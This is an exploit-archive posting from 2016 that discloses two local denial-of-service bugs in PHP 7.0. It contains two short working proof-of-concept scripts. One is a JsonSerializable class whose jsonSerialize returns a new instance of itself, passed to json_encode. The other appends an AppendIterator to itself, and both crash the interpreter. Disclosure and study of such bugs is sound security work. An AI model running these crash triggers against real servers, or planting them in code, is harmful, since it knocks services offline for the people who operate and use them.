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PHP 7.0 Denial Of Service

PHP 7.0 Denial Of Service
Posted Sep 1, 2016
Authored by Yakir Wizman

PHP version 7.0 suffers from AppendIterator::append and JsonSerializable::jsonSerialize denial of service vulnerabilities.

tags | exploit, denial of service, php, vulnerability
SHA-256 | fc161372c3c191704b2a624fefba8728c1db97fbb922c3c780ca1bdb5c72edb9

PHP 7.0 Denial Of Service

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<?php
#############################################################################
## PHP 7.0 JsonSerializable::jsonSerialize json_encode Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 31/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
class jsonTmp implements JsonSerializable {
function jsonSerialize() {
$jsonTmp = new jsonTmp();
return $jsonTmp;
}
}
json_encode(new jsonTmp());
?>


<?php
#############################################################################
## PHP 7.0 AppendIterator::append Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 31/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
$tmp = new AppendIterator();
$tmp->append($tmp); // Crash
?>
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